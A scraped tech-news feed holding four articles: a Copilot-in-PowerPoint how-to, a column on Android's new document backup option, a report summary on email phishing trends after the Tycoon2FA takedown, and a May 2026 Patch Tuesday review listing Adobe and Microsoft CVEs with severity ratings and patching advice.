You can prompt Copilot to refine text on an individual slide in various ways, such as rewriting it in a more professional tone or making it more concise. Highlight the text inside a text box on the slide. On the toolbar that appears over the highlighted text, click Edit with Copilot.

On the menu that opens, you can select a preset prompt to refine the text, such as Condense or Make professional. Or, at the top of this menu, you can type a prompt to rewrite the highlighted text.

screenshot of text on a powerpoint slide with copilot dropdown menu includng condense and make professional options

Choose a preset prompt for refining text on a slide or type in your own prompt.

Howard Wen / Foundry

Note that this feature affects all the text inside the text box. To rewrite only a portion of text inside a text box, you must split that portion out into a separate text box.

Alternatively, you can prompt Copilot to analyze your entire presentation and tighten up the wording throughout all of its slides. For example:

  • Make these slides more visual and use less text.

5. Find or create an image

If you have Copilot generate a presentation from an existing Word document that contains images, it will incorporate those images into the presentation. If there are no images in the source document, you can ask Copilot to find or create one and add it to a slide.

To add a stock image or an image from your organization’s brand library, tell Copilot what you’re looking for:

  • Add a stock photo of young adults in a cafe drinking boba tea.
  • Add a photo from our asset library of young adults in a cafe drinking boba tea.

To have Copilot create an image using Microsoft’s Designer image generation tool, describe your desired image. As always, specificity is helpful:

  • Create a photorealistic image of a diverse group of 5 or 6 fashionable young adults sitting in a cafe drinking boba tea. They’re smiling or laughing, and some are looking at their phones.
screenshot of image generation prompt in copilot sidebar in powerpoint plus the resulting generated image on a slide

Copilot in PowerPoint hooks into Microsoft’s Designer tool for image generation.

Howard Wen / Foundry

Just as you need to review any text output from Copilot, take a close look at generated images to be sure nothing looks off.

Also note that Copilot image generation isn’t always reliable in PowerPoint. For some time during our testing for this story, Copilot said it couldn’t create an image because “the image generation service is returning a server error on every attempt.” After about a day and a half, the service began working again.

6. Expand your presentation with relevant slides

As you’re building your presentation, you may find that it’s become text heavy. Or perhaps it could use more visually oriented slides to break things up and make its progression flow better. Copilot can generate and insert new slides that are based on the content of the slides already in the presentation.

In the Copilot pane, specify exactly where you want the new slide to go. This helps Copilot to analyze the content of the slides before and after where you want the new slide. Then it can generate a slide to bridge between the two slides. Examples:

  • Add a slide after slide 3 about our competitive advantages.
  • Add a slide after slide 11 that transitions to slide 12.
screenshot of powerpoint screen with copilot sidebar and a transition slide generated by copilot

Need a transition slide? Just ask!

Howard Wen / Foundry

7. Summarize a presentation

Maybe you need a quick refresh of your presentation before an important meeting. Or maybe a co-worker has sent you a presentation that’s packed with lots of slides. You can prompt Copilot to generate a summary of the presentation’s overall messaging.

In the Copilot pane, just type “summarize this presentation.” You can also have Copilot flag key slides that contain important information: “show me key slides.”

screenshots of copilot sidebar in powerpoint - one with summarize results and one with key slides response

Ask Copilot to summarize a presentation or flag key slides.

Howard Wen / Foundry

8. Answer questions about a presentation

As you’re reviewing a presentation, especially one that you didn’t create and are not familiar with, you can get Copilot to pull key data points from its slides.

In the Copilot pane, type specific informational questions. Examples:

  • What are the action items in this deck?
  • What is the proposed budget mentioned here?

If Copilot can’t find the exact answer to the question you ask, it will provide related information from the presentation.

screenshot of copilot sidebar in powerpoint with response to query about proposed budget in the slide deck

Ask Copilot specific questions about the contents of a presentation.

Howard Wen / Foundry

This method can also help you validate that your presentation includes everything you want it to. If you ask Copilot about the action items in a presentation and it can’t find any, you know you need to add them. (Copilot will likely offer to generate them for you based on the rest of the slides.)

You can even take this tactic a step further and ask Copilot if the presentation is missing any important data, if any slides are weak or confusing, if there are any awkward transitions, if there are key points that should be better emphasized, and so on.

9. Help you navigate a large presentation

In the business world, presentations with dozens of slides are not uncommon, such as for financial reports or project documentation. Trying to find a specific slide or multiple slides can be tough. Copilot can help you navigate such a presentation.

In the Copilot pane, prompt Copilot to find slides based on specific topics. Example:

  • Show me the slides about the project timeline.

Copilot will analyze the presentation and reply with a list of links to the relevant slides. Click one of these to jump directly to that slide.

screenshot of copilot sidebar in powerpoint with response about the slide that talks about target audience

Copilot can help you zoom directly to a slide that covers a particular topic or shows specific data.

Howard Wen / Foundry

10. Generate speaker notes and/or an FAQ

Here’s a great timesaver when you’re preparing to show your presentation to an audience: Copilot can automatically generate suggested speaker notes for you, based on the content of your slides. Example prompt:

  • Write speaker notes for every slide with one talking point per slide.
screenshot of powerpoint presentation with speaker notes generated by copilot

Copilot can create speaker notes in seconds.

Howard Wen / Foundry

In a related feature, Copilot can create a frequently asked questions list (FAQ) for you to consult in your speaker notes or to present as a slide:

  • Write an FAQ for these slides.

Copilot will ask where you want the questions and answers added — as a new slide at the end, integrated into the speaker notes of relevant slides, or somewhere else that you designate. Make a selection, and Copilot will generate the FAQ based on the content of your presentation.

screenshot of frequently asked questions slide generated by copilot in powerpoint

A Copilot-generated FAQ slide.

Howard Wen / Foundry

Related reading:

]]> <![CDATA[Your instant Android backup upgrade]]> https://tsecurity.de/de/3694774/ai-nachrichten/your-instant-android-backup-upgrade/ https://tsecurity.de/de/3694774/ai-nachrichten/your-instant-android-backup-upgrade/ Sat, 25 Jul 2026 19:50:10 +0200 🔧 AI Nachrichten tsecurity.de

Here in this high-tech era of 2026, keeping important info backed up and synced should be effortless and something that just happens on its own, automatically, without any actual thought or ongoing human effort.

In many areas of our digital life, that mercifully does Just Workℱ in exactly that way. Fire up an email in most modern mail services, and you can stop at any point and find your in-progress draft in that same app on any other device. The same applies to any file you’re finessing within Google Drive or other cloud storage services or document you’re dawdling over in Docs.

One area where seamless syncing somehow still doesn’t occur, though, is in the domain of downloaded documents on Android. If someone sends you a PDF or a Word file and you save it to your phone, that file exists in an archaic-seeming silo — only locally, on that one gadget. And that, of course, means (a) you can’t access it from any other device, and (b) if you misplace your phone or move into a new one at some point along the way, the file will be left behind in time and entirely unavailable.

Well, take a moment to join me in celebration: Amidst all the Gemini gobbledegook that no one asked for (and that often falls somewhere between “pointless” and “actively counterproductive”), Google’s giving us a major upgrade to Android’s backup capabilities right now. It’s a simple-seeming switch buried in your system settings, and it’s up to you to find and activate it.

Once you do, though, those once-orphaned documents on your Android device’s local storage will be perpetually synced and protected, automatically, without any ongoing thought or effort.

All you’ve gotta do is find and flip that one new switch.

[Don’t let yourself miss an ounce of Android Intelligence. Join my free weekly Android Intelligence newsletter and get one new thing to try in your inbox every Friday!]

The Android backup lowdown

So, for a quick bit of pertinent context on this: Android’s backup systems have actually come a really long way over the years.

‘Twas a time, y’see, when little to nothing about you would sync and carry over automatically from one Android device to another. Years ago — back in the ancient-seeming prehistoric era of the early 2010s — Android enthusiasts in the know would rely on community-created third-party apps for everything from remembering and resyncing downloaded apps to restoring data from within those apps and onward. And reconfiguring your system preferences would be a whole time-consuming song and dance every single time you reset a device or moved into a new one, as little to nothing would automatically carry over.

Most of that stuff is now effortless and automatic. And, thanks to apps like Google Messages, Calendar, Drive, and Docs, many other areas of important data are also synced on their own at the app level — outside of any system mechanisms.

Locally stored files, however, have remained an awkward omission. To this day, anything you download on any Android device exists only on that one device and isn’t synced or backed up anywhere. The only way that happens is — in a blast-from-the-past twist — if you go out of your way to find and set up a third-party app to handle the heavy lifting.

That brings us to today. Right now, as we speak, Google’s in the midst of sending out a quiet under-the-hood update that (brace yourself
) adds in the option to automatically sync and back up any documents on your device as a native part of Android’s backup setup.

See?

Android backup documents
The easily overlooked new option for backing up documents on Android.

JR Raphael, Foundry

The option is on its way to all devices running 2018’s Android 9 release and higher. (If you’re still using a phone with an Android version older than that, you’re now a whopping eight years out of date, and you have much bigger problems.)

Once the added option is present and available for you, you’re literally lookin’ at 10 seconds to find and activate it.

Lemme show ya how.

Android’s document backup addition

I promise: This couldn’t be much simpler.

No matter what kind of Android device is in front of you, just head into your system settings and open the section called “Accounts and backup,” “Back up or copy data,” or something along those same lines. (The exact wording can vary based on who made your device and when it was released or last updated.)

Either tap the line labeled “Google Backup” or look for an option to “Back up data” via Google Drive. You should then either see a series of options for different areas of available backup right then and there — or, depending on your device, you might have to tap a line labeled “Other device data” (or something similar) to find the full list of possibilities.

However you get there, once you’re lookin’ at that list, you’ll see a newly added line for “Documents” if this latest under-the-hood update has reached you.

Android backup options
Android’s expanded list of backup options — now including documents alongside other forms of on-device data.

JR Raphael, Foundry

And from there, all that’s left is to tap it and enable the switch to include that in your automated backups from that moment forward.

If you aren’t seeing the option yet, don’t panic. Google always sends these under-the-hood updates out bit by bit over time, so the change probably just hasn’t reached your device quite yet. As long as you’re running Android 9 or higher, it’ll get there. Set yourself a reminder to check back once a week or so. Odds are, you’ll see it pretty soon.

Notably, all documents synced in this way are always encrypted for security, and they’re kept in your personal (or, depending on the nature of your account, perhaps company-connected) Google Drive storage. That does mean they’ll count against your overall Google storage total, so keep an eye on your Drive storage total to make sure you’re in solid shape and look to the Google One storage hub if you ever want some simple suggestions for freeing up space.

Speaking of other Google services: If you ever want to keep other types of locally stored non-document files from an Android device synced and available elsewhere, you can easily rely on Google Photos for syncing screenshots and other images — after enabling sync in general, be sure to look in the app’s “Collections” areas to find the “On this device” folder and then flip the toggle to “Backup all device folders” (or get more nuanced and open specific individual on-device folders if you want to sync some but not all of those areas) — and you can still turn to those aforementioned third-party apps for broader syncing of anything else imaginable.

But with documents now being handled automatically and natively, that’s one big worry now out of your hair. Just note that the onus will fall on you to find and flip the switch and actively opt in to the feature on each and every Android device you’re using.

Take 10 seconds to do that, though, and you’ll have one less void in your Android data arena. And you don’t need Gemini to tell you that that can only be a good thing.

Get practical Android knowledge in your inbox every Friday with my free Android Intelligence newsletter — one new thing to try each week, straight from me to you.

]]> <![CDATA[Email threats changed after the Tycoon2FA take-down]]> https://tsecurity.de/de/3694766/ai-nachrichten/email-threats-changed-after-the-tycoon2fa-take-down/ https://tsecurity.de/de/3694766/ai-nachrichten/email-threats-changed-after-the-tycoon2fa-take-down/ Sat, 25 Jul 2026 19:50:06 +0200 🔧 AI Nachrichten tsecurity.de

Traditional phishing techniques are in decline as a result of the disruption of the Tycoon2FA phishing-as-a-service (PHaaS) platform, Microsoft said in a new report, “Email threat landscape: Q2 2026 trends and insights”.

“Phishing volume linked to the platform fell 92% from pre-disruption averages, including QR code phishing and CAPTCHA-gated phishing both declining from their March highs,” the company wrote in the report.

The takedown reduced activity across multiple phishing categories, forcing attackers to shift to newer delivery methods.

Riding this shift in were a few notable phishing campaigns, including an automated business email compromise (BEC) campaign that reached 42,000 organizations in under three hours, and a multi-stage phishing campaign that used nested email (EML) files, calendar invitations, and a Microsoft authentication redirect to deliver malware.

To counter phishing attacks, Microsoft recommends blocking emails containing known bad URLs/ subject fields, enabling password-less authentication methods, or moving to MFA for accounts that still require passwords.

Tycoon2FA disruption sent attackers exploring

The take-down of Tycoon2FA forced its operators to abandon portions of their infrastructure and rework hosting, domain registrations, and delivery mechanisms.

“After falling 15% in March and another 22% in April, Tycoon2FA-linked phishing volume dropped 74% in May to just 1.5 million messages, then fell another 20% in June to 1.2 million, by far the lowest monthly volumes observed in at least a year,” Microsoft said.

The decline extended to QR Code lures and fake CAPTCHA pages, two phishing techniques in which Tycoon2FA accounted for 12% and 14% of industry activity in June, respectively. This indicated that the platform’s customer base had not been able to migrate to a replacement infrastructure.

But cutting off one head of the hacker hydra only gave rise to new tactics elsewhere.

The adaptation came in the form of using Microsoft Teams as a social engineering channel. Attackers established conversations to build trust before attempting credential theft or delivering malicious payloads. “Teams-based phishing volume climbed steadily throughout Q2, with the average number of detected attacks rising 19% from March to April, holding roughly flat into May (+1%), then increasing another 10% into June,” Microsoft said.

Microsoft also observed a highly automated BEC campaign that reached over 67,000 users using scripted emails, Amazon Simple Email Service (SES), and engagement tracking, alongside a separate phishing campaign targeting 107,000 users that abused Microsoft’s authentication flow and trusted cloud services, including Teams archive recording and ICS calendar invite, to disguise malware delivery behind legitimate infrastructure.

Phishing changes but the defense doesn’t

While QR Code and Captcha-based phishing attacks dropped significantly in the second quarter, business email compromise (BEC) charted jumped 121% between March and April, before dropping down again in May.

QR Code phishing represented 8.3 million attacks in June 2026, down from a peak of 18.7 million in March. Similarly, Captcha-gated phishing fell from 12 million attacks in March to 2.2 million in June.

BEC attacks hit 9 million in March, falling to 3.9 million in June.

But even as these phishing classics lost momentum and newer techniques emerged, Microsoft’s defensive advice remained rooted in the basics. It noted organizations should complement email filtering with phishing-resistant authentication such as passkeys and phishing-resistant MFA to reduce the effectiveness of credential theft campaigns.

The company also recommended strengthening Exchange Online Protection and Microsoft Defender for Office 365 with capabilities such as Safe links and Zero-hour Auto Purge (ZAP), in which malicious emails already delivered to mailboxes are removed before they are read, alongside enforcing password-less authentication methods like Windows Hello, FIDO keys, and Microsoft Authenticator.

Microsoft concluded its report with a list of indicators of compromise (IoCs) from the threats observed in the quarter to support detection efforts.

This article first appeared on CSO.

]]> <![CDATA[The May 2026 Security Update Review]]> https://tsecurity.de/de/3694568/hacking/the-may-2026-security-update-review/ https://tsecurity.de/de/3694568/hacking/the-may-2026-security-update-review/ Sat, 25 Jul 2026 19:02:56 +0200 đŸ•”ïž Hacking tsecurity.de I’m currently in Berlin helping set up for Pwn2Own Berlin, but that doesn’t stop Patch Tuesday from coming, and it’s another big one. At least nothing is listed as being in the wild – for now. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. Due to technical difficulties, there will not be a video companion for this month.

Adobe Patches for May 2026

For May, Adobe released 10 bulletins addressing 52 unique CVEs in Adobe Commerce, After Effects, Adobe Connect, Illustrator, Media Encoder, Premiere Pro, Substance 3D Painter, Substance 3D Sampler, Content Authenticity SDK, and the Adobe Substance 3D Designer. Here’s this month’s overview table:

Bulletin ID Product CVE Count Highest Severity Highest CVSS Exploited Deployment Priority
APSB26-49 Adobe Commerce 15 Critical 8.7 No 2
APSB26-48 Adobe After Effects 4 Critical 7.8 No 3
APSB26-50 Adobe Connect 2 Critical 9.6 No 3
APSB26-51 Adobe Illustrator 4 Critical 7.8 No 3
APSB26-47 Adobe Media Encoder 2 Critical 7.8 No 3
APSB26-46 Adobe Premiere Pro 3 Critical 7.8 No 3
APSB26-55 Adobe Substance 3D Painter 2 Critical 7.8 No 3
APSB26-54 Adobe Substance 3D Sampler 1 Critical 7.8 No 3
APSB26-53 Content Authenticity SDK 14 Critical 7.5 No 3
APSB26-52 Adobe Substance 3D Designer 5 Important 6.3 No 3
TOTAL 10 bulletins 52

The obvious priority this month is the patch for Commerce, with its 15 bugs and deployment priority of 2. The Connect fix should also rank up there since both of its CVEs are CVSS 9s. Beyond those, it’s a pretty typical month for Adobe, with most of the bugs either being cross-site scripting (XSS) or open-and-own code executions.

Microsoft Patches for May 2026

This month, Microsoft released a whopping 138 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Copilot Chat, Github Copilot, M365 Copilot, SQL Server, TCP/IP, and the Telnet Client – yes, the Telnet client. Two of these bugs were reported through the TrendAI ZDI program. 30 of these bugs are rated Critical, three are rated as Moderate, one is rated Low, and the rest are rated Important in severity.

This large volume of fixes follows the largest monthly release in Microsoft’s history and reflects the trend across the industry of a high number of submissions. While not all of these bugs were found by AI, it’s likely they had an AI-related component – even if it was just AI writing the submission. I should also point out the Pwn2Own Berlin occurs in just a few days, and it’s typical for vendors to patch as much as they can before the event.

None of the bugs patched by Microsoft this month are listed as publicly known or under active attack at the time of release, so we’ve got that going for us. Let’s take a closer look at some of the more interesting updates for this month, starting with a nasty-looking bug in DNS:

-    CVE-2026-41096 - Windows DNS Client Remote Code Execution Vulnerability
This patch fixes a heap-based buffer overflow in the DNS Client triggered by a malicious DNS response. No authentication or user interaction needed, and since the DNS Client runs on virtually every Windows machine, the attack surface is enormous. An attacker with a position to influence DNS responses (MitM, rogue server) could achieve unauthenticated RCE across your enterprise.

-    CVE-2026-41089 - Windows Netlogon Remote Code Execution Vulnerability
This update covers another CVSS 9.8 bug, which is a stack-based buffer overflow that lets an unauthenticated remote attacker execute code on a domain controller by sending a specially crafted network request — no credentials, no user interaction required. Yup – that makes it wormable. This is the highest-impact bug that requires immediate patching: a compromised domain controller is a compromised domain.

-    CVE-2026-42898 - Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability
This bug rates a CVSS 9.9(!) and represents a code injection in Dynamics 365. It allows any authenticated user to execute code with a scope change, meaning exploitation can break out and affect resources beyond the vulnerable component itself. Scope changes are pretty rare, so if you’re running Dynamics 365 On-Prem, definitely test and deploy this patch quickly.

-    CVE-2026-40415 - Windows TCP/IP Remote Code Execution Vulnerability
This bug in the TCP/IP stack results from a use-after-free (UAF) and could allow a remote, unauthenticated threat actor to execute code without user interaction. That makes this another wormable bug. However, this one is much less likely to be exploited. The target needs to be under sustained low-memory (memory pressure) conditions, which is pretty rare. Still, no need to tempt fate here. Test and deploy this one quickly.

Here’s the full list of CVEs released by Microsoft for May 2026:

<![if supportMisalignedColumns]> <![endif]>
CVE Title Severity CVSS Public Exploited Type
CVE-2026-35435 Azure AI Foundry Elevation of Privilege Vulnerability Critical 8.6 No No EoP
CVE-2026-35428 Azure Cloud Shell Spoofing Vulnerability Critical 9.6 No No Spoofing
CVE-2026-42826 Azure DevOps Information Disclosure Vulnerability Critical 10 No No Info
CVE-2026-32207 Azure Machine Learning Notebook Spoofing Vulnerability Critical 8.8 No No Spoofing
CVE-2026-33109 Azure Managed Instance for Apache Cassandra Remote Code Execution Vulnerability Critical 9.9 No No RCE
CVE-2026-33844 Azure Managed Instance for Apache Cassandra Remote Code Execution Vulnerability Critical 9 No No RCE
CVE-2026-41105 Azure Monitor Action Group Notification System Elevation of Privilege Vulnerability Critical 8.1 No No EoP
CVE-2026-33111 Copilot Chat (Microsoft Edge) Information Disclosure Vulnerability Critical 7.5 No No Info
CVE-2026-26129 M365 Copilot Information Disclosure Vulnerability Critical 7.5 No No Info
CVE-2026-26164 M365 Copilot Information Disclosure Vulnerability Critical 7.5 No No Info
CVE-2026-33821 Microsoft Dynamics 365 Customer Insights Elevation of Privilege Vulnerability Critical 7.7 No No EoP
CVE-2026-42898 Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability Critical 9.9 No No RCE
CVE-2026-40379 Microsoft Enterprise Security Token Service (ESTS) Spoofing Vulnerability Critical 9.3 No No Spoofing
CVE-2026-40363 Microsoft Office Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-40358 Microsoft Office Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-34327 Microsoft Partner Center Spoofing Vulnerability Critical 8.2 No No Spoofing
CVE-2026-40365 Microsoft SharePoint Server Remote Code Execution Vulnerability Critical 8.8 No No RCE
CVE-2026-41103 Microsoft SSO Plugin for Jira & Confluence Elevation of Privilege Vulnerability Critical 9.1 No No EoP
CVE-2026-33823 Microsoft Team Events Portal Information Disclosure Vulnerability Critical 9.6 No No Info
CVE-2026-40364 Microsoft Word Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-40366 Microsoft Word Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-40361 Microsoft Word Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-40367 Microsoft Word Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-42831 Office for Android Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-41096 Windows DNS Client Remote Code Execution Vulnerability Critical 9.8 No No RCE
CVE-2026-35421 Windows GDI Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-40403 Windows Graphics Component Remote Code Execution Vulnerability Critical 8.8 No No RCE
CVE-2026-40402 Windows Hyper-V Elevation of Privilege Vulnerability Critical 9.3 No No EoP
CVE-2026-32161 Windows Native WiFi Miniport Driver Remote Code Execution Vulnerability Critical 7.5 No No RCE
CVE-2026-41089 Windows Netlogon Remote Code Execution Vulnerability Critical 9.8 No No RCE
CVE-2026-32175 .NET Core Tampering Vulnerability Important 4.3 No No Tampering
CVE-2026-32177 .NET Elevation of Privilege Vulnerability Important 7.3 No No EoP
CVE-2026-35433 .NET Elevation of Privilege Vulnerability Important 7.3 No No EoP
CVE-2025-54518 * AMD: CVE-2025-54518 CPU OP Cache Corruption Important No No RCE
CVE-2026-42899 ASP.NET Core Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-40381 Azure Connected Machine Agent Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-42823 † Azure Logic Apps Elevation of Privilege Vulnerability Important 9.9 No No EoP
CVE-2026-33833 Azure Machine Learning Notebook Spoofing Vulnerability Important 8.2 No No Spoofing
CVE-2026-32204 Azure Monitor Agent Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-42830 Azure Monitor Agent Metrics Extension Elevation of Privilege Vulnerability Important 6.5 No No EoP
CVE-2026-33117 Azure SDK for Java Security Feature Bypass Vulnerability Important 9.1 No No SFB
CVE-2026-41109 GitHub Copilot and Visual Studio Code Security Feature Bypass Vulnerability Important 8.8 No No SFB
CVE-2026-35424 Internet Key Exchange (IKE) Protocol Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-41614 M365 Copilot for Desktop Spoofing Vulnerability Important 6.2 No No Spoofing
CVE-2026-41100 Microsoft 365 Copilot for Android Spoofing Vulnerability Important 4.4 No No Spoofing
CVE-2026-40377 Microsoft Cryptographic Services Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-41094 Microsoft Data Formulator Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-40417 Microsoft Dynamics 365 Business Central Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-42833 Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability Important 9.1 No No RCE
CVE-2026-42838 Microsoft Edge (Chromium-based) Elevation of Privilege Vulnerability Important 5.4 No No EoP
CVE-2026-40360 Microsoft Excel Information Disclosure Vulnerability Important 7.8 No No Info
CVE-2026-40359 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-40362 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-42832 Microsoft Excel Spoofing Vulnerability Important 7.7 No No Spoofing
CVE-2026-34329 Microsoft Message Queuing (MSMQ) Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-40419 Microsoft Office Click-To-Run Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-40418 Microsoft Office Click-To-Run Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-35436 Microsoft Office Click-To-Run Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-40420 Microsoft Office Click-To-Run Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-42893 Microsoft Outlook for iOS Tampering Vulnerability Important 7.4 No No Tampering
CVE-2026-40374 Microsoft Power Automate Desktop Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-41102 Microsoft PowerPoint for Android Spoofing Vulnerability Important 7.1 No No Spoofing
CVE-2026-35439 Microsoft SharePoint Server Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-40368 Microsoft SharePoint Server Remote Code Execution Vulnerability Important 8 No No RCE
CVE-2026-33110 Microsoft SharePoint Server Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-33112 Microsoft SharePoint Server Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-40357 Microsoft SharePoint Server Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-32185 Microsoft Teams Spoofing Vulnerability Important 5.5 No No Spoofing
CVE-2026-41101 Microsoft Word for Android Spoofing Vulnerability Important 7.1 No No Spoofing
CVE-2026-35440 Microsoft Word Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-40421 Microsoft Word Information Disclosure Vulnerability Important 4.3 No No Info
CVE-2026-41097 Secure Boot Security Feature Bypass Vulnerability Important 6.7 No No SFB
CVE-2026-40370 † SQL Server Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-41613 Visual Studio Code Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-41612 Visual Studio Code Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-41611 Visual Studio Code Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-41610 Visual Studio Code Security Feature Bypass Vulnerability Important 6.3 No No SFB
CVE-2026-33839 Win32k Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-33840 Win32k Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34330 Win32k Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34331 Win32k Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-35423 Windows 11 Telnet Client Information Disclosure Vulnerability Important 5.4 No No Info
CVE-2026-35438 Windows Admin Center Elevation of Privilege Vulnerability Important 8.3 No No EoP
CVE-2026-41086 Windows Admin Center in Azure Portal Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-34344 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34345 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-35416 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-41088 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34343 Windows Application Identity (AppID) Subsystem Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-35418 Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-33835 Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34337 Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-40407 Windows Common Log File System Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-40397 Windows Common Log File System Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-42896 Windows DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-35419 Windows DWM Core Library Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-34336 Windows DWM Core Library Information Disclosure Vulnerability Important 7.8 No No Info
CVE-2026-33834 Windows Event Logging Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32209 Windows Filtering Platform (WFP) Security Feature Bypass Vulnerability Important 4.4 No No SFB
CVE-2026-33841 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-35420 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-40369 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34332 Windows Kernel-Mode Driver Remote Code Execution Vulnerability Important 8 No No RCE
CVE-2026-34339 Windows Lightweight Directory Access Protocol (LDAP) Denial of Service Vulnerability Important 5.5 No No DoS
CVE-2026-34341 Windows Link-Layer Discovery Protocol (LLDP) Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-33838 Windows Message Queuing (MSMQ) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34342 Windows Print Spooler Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-41095 Windows Projected File System Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34340 Windows Projected File System Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-40398 Windows Remote Desktop Services Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21530 Windows Rich Text Edit Elevation of Privilege Vulnerability Important 6.7 No No EoP
CVE-2026-32170 Windows Rich Text Edit Elevation of Privilege Vulnerability Important 6.7 No No EoP
CVE-2026-40410 Windows SMB Client Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-35415 Windows Storage Spaces Controller Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34350 Windows Storport Miniport Driver Denial of Service Vulnerability Important 6.5 No No DoS
CVE-2026-40405 Windows TCP/IP Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-40414 Windows TCP/IP Denial of Service Vulnerability Important 7.4 No No DoS
CVE-2026-40401 Windows TCP/IP Denial of Service Vulnerability Important 6.2 No No DoS
CVE-2026-40413 Windows TCP/IP Denial of Service Vulnerability Important 7.4 No No DoS
CVE-2026-35422 Windows TCP/IP Driver Security Feature Bypass Vulnerability Important 6.5 No No SFB
CVE-2026-34351 Windows TCP/IP Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-40399 Windows TCP/IP Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34334 Windows TCP/IP Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-40406 Windows TCP/IP Information Disclosure Vulnerability Important 7.5 No No Info
CVE-2026-33837 Windows TCP/IP Local Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-40415 Windows TCP/IP Remote Code Execution Vulnerability Important 8.1 No No RCE
CVE-2026-42825 Windows Telephony Service Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-34338 Windows Telephony Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-40382 Windows Telephony Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-40380 Windows Volume Manager Extension Driver Remote Code Execution Vulnerability Important 6.2 No No RCE
CVE-2026-40408 Windows WAN ARP Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34333 Windows Win32k Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34347 Windows Win32k Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-35417 Windows Win32k Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-42891 Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability Moderate 6.5 No No Spoofing
CVE-2026-35429 Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability Moderate 4.3 No No Spoofing
